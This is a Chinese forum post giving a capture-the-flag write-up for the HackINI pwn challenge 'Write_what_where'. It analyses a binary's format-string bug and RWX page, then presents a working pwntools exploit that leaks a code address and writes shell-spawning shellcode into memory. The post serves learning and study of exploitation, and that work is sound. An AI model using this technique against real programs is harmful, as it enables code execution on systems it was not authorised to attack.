好友
阅读权限10
听众
最后登录1970-1-1
|
本帖最后由 Djay09 于 2026-10-29 11:19 编辑
题目《Write_what_where》 来源于HackINI
解题环境设置在本地,方便演示
使用工具查看可执行文件基本信息:
发现是个64位且是elf格式的可执行文件,并且保护除了栈溢出保护其他全开
关于如何绕过这些保护,通过AI对话得出了一个新手友好的处理方式,这是对话截图:
对于相对不是那么简单的程序,一般先可以运行看看程序有哪些行为,以及观察有哪些行为可能是触发漏洞点的
发现是个菜单,有输入与输出功能,并且第3选项还可以执行一个函数,结合保护措施信息我猜测输入函数可能会存在溢出,输出函数可能会存在格式化字符串漏洞,所以可以输入%p等占位符进行试探
发现果然不出所料,存在格式化字符串漏洞,这为我们绕过地址随机化有了关键招式
知晓程序的基本运行逻辑后,接下来查看程序内部代码逻辑,观察漏洞发生点在何处,以及如何利用:
1.发现漏洞
[C] 纯文本查看 复制代码 int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+1Ch] [rbp-174h] BYREF
char v4[360]; // [rsp+20h] [rbp-170h] BYREF
unsigned __int64 v5; // [rsp+188h] [rbp-8h]
v5 = __readfsqword(0x28u);
disable_buffering();
mprotect(addr: (void *)((unsigned __int64)func & 0xFFFFFFFFFFFFF000LL), len: 0x1000u, prot: 7);
puts(s: "Welcome\nTry to find out how to pwn me!\nIt's not hard, I swear!");
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf(a1: "%d", &v3);
if ( v3 != 3 )
break;
func();
}
if ( v3 > 3 )
break;
if ( v3 == 1 )
{
get_name(a1: (__int64)v4);
}
else
{
if ( v3 != 2 )
break;
print_name(a1: v4);
}
}
exit(status: 0);
}
这是main方法的伪代码,结合刚刚运行的程序结果来看格式化字符串漏洞在print_name()函数中发生
进入该函数内部查看:
[C] 纯文本查看 复制代码 int __fastcall print_name(const char *a1)
{
return printf(format: a1);
}
看来就是一个超简单的输出,printf()的第一个参数被传入的内容是用户输入的内容,因为main函数中开辟了一个名为v4的字符串数组地址空间,并把该数组地址传入到printf()函数的第一个参数中,经典的产生了格式化字符串漏洞
所以我尝试在程序运行手动中输入多个%p得到v4地址空间的内容是在第几个参数被格式化被打印且泄露的:
发现在%14$p处开始泄露,接下来通过pwndbg调试查看栈中可以泄露的函数地址有哪些
可以发现栈地址为0x7fffffffda38的地方有一个0x55开头的地址0x000055555555534d,这是典型的地址随机化后的代码段地址。
而且根据静态分析工具中给的函数偏移和调试器给出的段映射地址,这正好是main函数的地址:
0x0000555555554000 + 0x134d = 0x000055555555534d,的确是main函数的地址,其实就绕过地址随机化而言,并不需要关心是哪个函数的地址,不过在这道题目中,需要铺垫后面的漏洞利用。
那个八字节'0x67'是我为了标记数组首地址的,根据刚刚得到的第14个参数开始泄露数组内容,所以再根据调试器结果可以算出泄露这个函数地址的偏移量是63。
再来看看是否存在溢出漏洞:
main函数反汇编至调用get_name():
[Asm] 纯文本查看 复制代码 .text:000000000000134D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:000000000000134D public main
.text:000000000000134D main proc near ; DATA XREF: _start+21↑o
.text:000000000000134D
.text:000000000000134D var_190 = qword ptr -190h
.text:000000000000134D var_184 = dword ptr -184h
.text:000000000000134D var_174 = dword ptr -174h
.text:000000000000134D var_170 = byte ptr -170h
.text:000000000000134D var_8 = qword ptr -8
.text:000000000000134D
.text:000000000000134D ; __unwind {
.text:000000000000134D endbr64
.text:0000000000001351 push rbp
.text:0000000000001352 mov rbp, rsp
.text:0000000000001355 sub rsp, 190h
.text:000000000000135C mov [rbp+var_184], edi
.text:0000000000001362 mov [rbp+var_190], rsi
.text:0000000000001369 mov rax, fs:28h
.text:0000000000001372 mov [rbp+var_8], rax
.text:0000000000001376 xor eax, eax
.text:0000000000001378 mov eax, 0
.text:000000000000137D call disable_buffering
.text:0000000000001382 lea rax, func
.text:0000000000001389 and rax, 0FFFFFFFFFFFFF000h
.text:000000000000138F mov edx, 7 ; prot
.text:0000000000001394 mov esi, 1000h ; len
.text:0000000000001399 mov rdi, rax ; addr
.text:000000000000139C call _mprotect
.text:00000000000013A1 lea rdi, aWelcomeTryToFi ; "Welcome\nTry to find out how to pwn me!"...
.text:00000000000013A8 call _puts
.text:00000000000013AD
.text:00000000000013AD loc_13AD: ; CODE XREF: main:loc_1426↓j
.text:00000000000013AD mov eax, 0
.text:00000000000013B2 call menu
.text:00000000000013B7 lea rax, [rbp+var_174]
.text:00000000000013BE mov rsi, rax
.text:00000000000013C1 lea rdi, aD ; "%d"
.text:00000000000013C8 mov eax, 0
.text:00000000000013CD call ___isoc99_scanf
.text:00000000000013D2 mov eax, [rbp+var_174]
.text:00000000000013D8 cmp eax, 3
.text:00000000000013DB jz short loc_1410
.text:00000000000013DD cmp eax, 3
.text:00000000000013E0 jg short loc_141C
.text:00000000000013E2 cmp eax, 1
.text:00000000000013E5 jz short loc_13EE
.text:00000000000013E7 cmp eax, 2
.text:00000000000013EA jz short loc_13FF
.text:00000000000013EC jmp short loc_141C
.text:00000000000013EE ; ---------------------------------------------------------------------------
.text:00000000000013EE
.text:00000000000013EE loc_13EE: ; CODE XREF: main+98↑j
.text:00000000000013EE lea rax, [rbp+var_170]
.text:00000000000013F5 mov rdi, rax
.text:00000000000013F8 call get_name
.text:00000000000013FD jmp short loc_1426
.text:00000000000013FF ; ---------------------------------------------------------------------------
.text:00000000000013FF
.text:00000000000013FF loc_13FF: ; CODE XREF: main+9D↑j
.text:00000000000013FF lea rax, [rbp+var_170]
.text:0000000000001406 mov rdi, rax
.text:0000000000001409 call print_name
.text:000000000000140E jmp short loc_1426
get_name()与input_str()函数:
[Asm] 纯文本查看 复制代码 .text:00000000000012F3 ; char *__fastcall get_name(char *)
.text:00000000000012F3 public get_name
.text:00000000000012F3 get_name proc near ; CODE XREF: main+AB↓p
.text:00000000000012F3
.text:00000000000012F3 var_8 = qword ptr -8
.text:00000000000012F3
.text:00000000000012F3 ; __unwind {
.text:00000000000012F3 endbr64
.text:00000000000012F7 push rbp
.text:00000000000012F8 mov rbp, rsp
.text:00000000000012FB sub rsp, 10h
.text:00000000000012FF mov [rbp+var_8], rdi
.text:0000000000001303 mov rax, [rbp+var_8]
.text:0000000000001307 mov edx, 160h
.text:000000000000130C mov rsi, rax
.text:000000000000130F lea rdi, aName ; "Name: "
.text:0000000000001316 call input_str
.text:000000000000131B nop
.text:000000000000131C leave
.text:000000000000131D retn
.text:0000000000001428 ; char *__fastcall input_str(const char *, char *, __int64)
.text:0000000000001428 public input_str
.text:0000000000001428 input_str proc near ; CODE XREF: get_name+23↑p
.text:0000000000001428
.text:0000000000001428 var_28 = qword ptr -28h
.text:0000000000001428 buf = qword ptr -20h
.text:0000000000001428 s = qword ptr -18h
.text:0000000000001428 var_8 = qword ptr -8
.text:0000000000001428
.text:0000000000001428 ; __unwind {
.text:0000000000001428 endbr64
.text:000000000000142C push rbp
.text:000000000000142D mov rbp, rsp
.text:0000000000001430 sub rsp, 30h
.text:0000000000001434 mov [rbp+s], rdi
.text:0000000000001438 mov [rbp+buf], rsi
.text:000000000000143C mov [rbp+var_28], rdx
.text:0000000000001440 mov rdx, cs:stdout@@GLIBC_2_2_5
.text:0000000000001447 mov rax, [rbp+s]
.text:000000000000144B mov rsi, rdx ; stream
.text:000000000000144E mov rdi, rax ; s
.text:0000000000001451 call _fputs
.text:0000000000001456 mov rax, [rbp+var_28]
.text:000000000000145A lea rdx, [rax-1] ; nbytes
.text:000000000000145E mov rax, [rbp+buf]
.text:0000000000001462 mov rsi, rax ; buf
.text:0000000000001465 mov edi, 0 ; fd
.text:000000000000146A call _read
静态分析后得知缓冲区在main栈帧下的rbp-0x170处,可输入长度被限制在0x160,故没有栈溢出
2.如何利用
绕过地址随机化,掌握了地址后,就可以放开手脚跟简单题无一二,不过从保护措施可以知道GOT表不可覆写,传统的ROP链不可行,故还需要静态分析程序还有哪些地方是存在漏洞点的
通过main函数的伪代码可以发现有个函数叫mprotect(),关于该函数的参数意义以及用途介绍如AI对话截图:
再结合main函数中的这行代码:
[C] 纯文本查看 复制代码 mprotect(addr: (void *)((unsigned __int64)func & 0xFFFFFFFFFFFFF000LL), len: 0x1000u, prot: 7);
可以知道程序把func()的地址与0xFFFFFFFFFFFFF000按位与运算后的地址修改成可读可写可执行的且长度为0x1000的内存区域,而且通过前面泄露出的main函数地址可以间接得出func()函数的地址,自然想到如果把恶意代码成功写入到这片内存区域中,刚好程序菜单的第3项功能就是执行func()函数,就可以拿到shell了
那么如何写入恶意代码呢,整个程序只有两个输入的地方就是scanf()和get_name()函数内部的read()函数,看伪代码就知道scanf()不起作用,read()函数限制输入的长度还算大,先前去一探究竟,能否控制传入read()函数的参数。
input_str()函数:
[Asm] 纯文本查看 复制代码 .text:0000000000001428 ; char *__fastcall input_str(const char *, char *, __int64)
.text:0000000000001428 public input_str
.text:0000000000001428 input_str proc near ; CODE XREF: get_name+23↑p
.text:0000000000001428
.text:0000000000001428 var_28 = qword ptr -28h
.text:0000000000001428 buf = qword ptr -20h
.text:0000000000001428 s = qword ptr -18h
.text:0000000000001428 var_8 = qword ptr -8
.text:0000000000001428
.text:0000000000001428 ; __unwind {
.text:0000000000001428 endbr64
.text:000000000000142C push rbp
.text:000000000000142D mov rbp, rsp
.text:0000000000001430 sub rsp, 30h
.text:0000000000001434 mov [rbp+s], rdi
.text:0000000000001438 mov [rbp+buf], rsi
.text:000000000000143C mov [rbp+var_28], rdx
.text:0000000000001440 mov rdx, cs:stdout@@GLIBC_2_2_5
.text:0000000000001447 mov rax, [rbp+s]
.text:000000000000144B mov rsi, rdx ; stream
.text:000000000000144E mov rdi, rax ; s
.text:0000000000001451 call _fputs
.text:0000000000001456 mov rax, [rbp+var_28]
.text:000000000000145A lea rdx, [rax-1] ; nbytes
.text:000000000000145E mov rax, [rbp+buf]
.text:0000000000001462 mov rsi, rax ; buf
.text:0000000000001465 mov edi, 0 ; fd
.text:000000000000146A call _read
get_name()函数:
[Asm] 纯文本查看 复制代码 .text:00000000000012F3 ; char *__fastcall get_name(char *)
.text:00000000000012F3 public get_name
.text:00000000000012F3 get_name proc near ; CODE XREF: main+AB↓p
.text:00000000000012F3
.text:00000000000012F3 var_8 = qword ptr -8
.text:00000000000012F3
.text:00000000000012F3 ; __unwind {
.text:00000000000012F3 endbr64
.text:00000000000012F7 push rbp
.text:00000000000012F8 mov rbp, rsp
.text:00000000000012FB sub rsp, 10h
.text:00000000000012FF mov [rbp+var_8], rdi
.text:0000000000001303 mov rax, [rbp+var_8]
.text:0000000000001307 mov edx, 160h
.text:000000000000130C mov rsi, rax
.text:000000000000130F lea rdi, aName ; "Name: "
.text:0000000000001316 call input_str
.text:000000000000131B nop
.text:000000000000131C leave
.text:000000000000131D retn
main()函数调用get_name()的部分:
[Asm] 纯文本查看 复制代码 .text:00000000000013EE loc_13EE: ; CODE XREF: main+98↑j
.text:00000000000013EE lea rax, [rbp+var_170]
.text:00000000000013F5 mov rdi, rax
.text:00000000000013F8 call get_name
.text:00000000000013FD jmp short loc_1426
注意我粘贴的代码是从内到外的,目的是更好的反推并追踪read()函数参数
简单的静态分析就发现缓冲区指针参数是控制不了的,因为最初的地址传递是0x13ee处的取地址操作,并且往后由于栈向下增长,不可能一次输入就覆盖下方的数据,那只能换个思路了
统筹整个布局来看,能够写入数据的只有scanf()和read()和格式化字符串漏洞,前两者已被验证不可行,就只剩下格式化字符串漏洞的任意写了
使用%<N>c%N$n来进行任意写,不过要把恶意代码写进去只本质的使用%n太过麻烦,这是fmtstr模块就派上大用场了。
3.exp代码
综上所述,exp如下:
从泄露代码段地址->计算func()地址->写入恶意代码->执行选项3
[Python] 纯文本查看 复制代码 from pwn import *
p = process("./chall2")
context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh())
main_fun_offset = 0x134d
func_offset = 0x1342
p.recvuntil("Choice:")
p.sendline(b'1')
p.sendline(b'%63$p')
p.recvuntil("Choice:")
p.sendline(b'2')
leak = p.recvline()
deal_leak = int(leak,16)
basic_addr = deal_leak - main_fun_offset
func_addr = basic_addr + func_offset
useful_addr = func_addr & 0xFFFFFFFFFFFFF000
for i in range(0,len(shellcode),2):
chunk = shellcode[i:i+2]
value = u16(chunk)
payload = fmtstr_payload(14,{func_addr +i:value},write_size = "short")
p.sendlineafter("Choice:",b'1')
p.sendline(payload)
p.sendlineafter("Choice:",b'2')
p.recvline()
p.sendline(b'3')
p.interactive()
运行:
关于脚本中所泄露出的地址要注意不同主机的加载器不同,会导致可执行文件的加载基址不同,这也是我在本地打通了但是远程连接到目标主机时却发现行不通,而且泄露出的数据都不具有明显的函数地址特征,若按照脚本源码来远程连接目标主机,运行脚本后会出现这样:
这些0x7ff开头的明显是栈地址而不是函数地址。
受 libc 版本、环境变量数量和长度、argv[0] 长度、内核 ASLR 实现影响。同一二进制文件在不同主机上,第 N 个栈槽位里存的东西可能完全不同,也就是说本地得出的格式化字符串漏洞偏移用在远程主机可能会失效,届时需要在远程主机试探偏移才能使脚本在远程主机得以成功实现。
我个人感觉是处理输出,输入,接收输出这方面耗的时间要比发现和利用漏洞长,也许是我编程功底太弱了。以上使给需要的读者一份参考,也是给我自己学习的一份总结,若发现文章或技术缺陷请回帖指出,感谢
|
|